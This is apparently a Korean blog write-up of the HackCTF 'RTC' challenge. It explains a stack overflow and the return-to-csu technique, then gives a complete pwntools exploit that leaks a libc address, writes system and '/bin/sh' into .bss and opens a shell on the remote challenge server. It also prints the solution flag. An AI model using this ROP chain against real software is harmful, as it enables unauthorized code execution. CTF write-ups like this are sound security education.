-
RTCCTF/HackCTF 2021. 2. 5. 01:20
Disassembly 디스어셈블리
void main(void) { void *buf; setvbuf(_reloc.stdin, 0, 2, 0); write(1, "Hey, ROP! What\'s Up?\n", 0x15); read(0, &buf, 0x200); return; }
main은 read에서 0x200바이트만큼 입력받아 스택 버퍼 오버플로우가 발생한다.
Return-to-csu
NX가 걸려있고, system 함수가 링크되어 있지 않으며, syscall 명령어도 존재하지 않는다. 결국 RTL을 통해 system("/bin/sh")를 호출해야 하므로 라이브러리 주소를 알아낼 방법이 필요하다.
write와 read 함수의 세 번째 인자로 사용될 rdx를 제어할 가젯으로 __libc_csu_init 함수를 활용하자.
csu 함수의 후반부에는 rbx, rbp, r12, r13, r14, r15를 pop하고 ret하는 코드가, 중반부에는 r13, r14, r15d의 값을 rdx, rsi, edi로 옮기고 [r12+rbx*8]을 호출하는 코드가 있다.
편의상 후반부를 csu_init, 중반부를 csu라고 하자. 먼저 csu_init을 호출해 rbx+1==rbp를 만족하도록 레지스터를 조작한다. 이어서 csu를 호출하면 [r12+rbx*8]에 적힌 함수가 r15d, r14, r13을 세 인자로 실행되고 jne를 지나 csu_init에 해당하는 명령어가 실행된다. 이러한 루프를 통해 버퍼가 허용하는 한 임의의 함수를 임의의 인자로 호출할 수 있다.
Return-to-csu를 이용해 공격을 구성해 보자.
payload = b"\x90"*0x48 payload += p64(csu_init) payload += p64(0) + p64(1) + p64(write_got) + p64(0x8) + p64(read_got) + p64(1) payload += p64(csu) read = u64(p.recv()) libc = read - l.symbols["read"] log.info("libc : " + hex(libc))
write(1, read_got, 0x8)을 통해 라이브러리 주소를 알아낸다.
payload += p64(0) payload += p64(0) + p64(1) + p64(read_got) + p64(0x10) + p64(bss) + p64(0) payload += p64(csu) ... system = libc + l.symbols["system"] payload = p64(system) + b"/bin/sh\x00" p.send(payload)
read(0, bss, 0x10)을 통해 system 함수와 binsh 문자열의 주소를 쓰기 권한이 있는 .bss 영역에 덮어쓰자.
payload += p64(0) payload += p64(0) + p64(1) + p64(bss) + p64(0) + p64(0) + p64(bss+8) payload += p64(csu) p.recvline() p.sendline(payload)
마지막으로 system("/bin/sh")를 호출하면 문제를 해결할 수 있다.
Code
더보기from pwn import * binary = "./rtc" lib = "./libc.so.6" server = "ctf.j0n9hyun.xyz" port = 3025 # context.log_level = 'debug' context.binary = binary if True: p = remote(server, port) else: p = process(binary) gdb.attach(p) e = ELF(binary) r = ROP(e) l = ELF(lib) e.checksec() main = e.symbols["main"] read_got = e.got["read"] write_got = e.got["write"] csu_init = 0x4006ba csu = 0x4006a0 prdi = (r.find_gadget(['pop rdi', 'ret']))[0] ret = (r.find_gadget(['ret']))[0] bss = e.bss()+0x100 payload = b"\x90"*0x48 payload += p64(csu_init) payload += p64(0) + p64(1) + p64(write_got) + p64(0x8) + p64(read_got) + p64(1) payload += p64(csu) payload += p64(0) payload += p64(0) + p64(1) + p64(read_got) + p64(0x10) + p64(bss) + p64(0) payload += p64(csu) payload += p64(0) payload += p64(0) + p64(1) + p64(bss) + p64(0) + p64(0) + p64(bss+8) payload += p64(csu) p.recvline() p.sendline(payload) read = u64(p.recv()) libc = read - l.symbols["read"] log.info("libc : " + hex(libc)) system = libc + l.symbols["system"] payload = p64(system) + b"/bin/sh\x00" p.send(payload) p.interactive()
Flag
HackCTF{4ll_r1ght_c5u_1n1t!}
'CTF > HackCTF' 카테고리의 다른 글
babyfsb (0) 2021.02.05 Unexploitable #2 (0) 2021.02.05 Register (0) 2021.02.04 Unexploitable #1 (0) 2021.02.04 ROP (0) 2021.02.01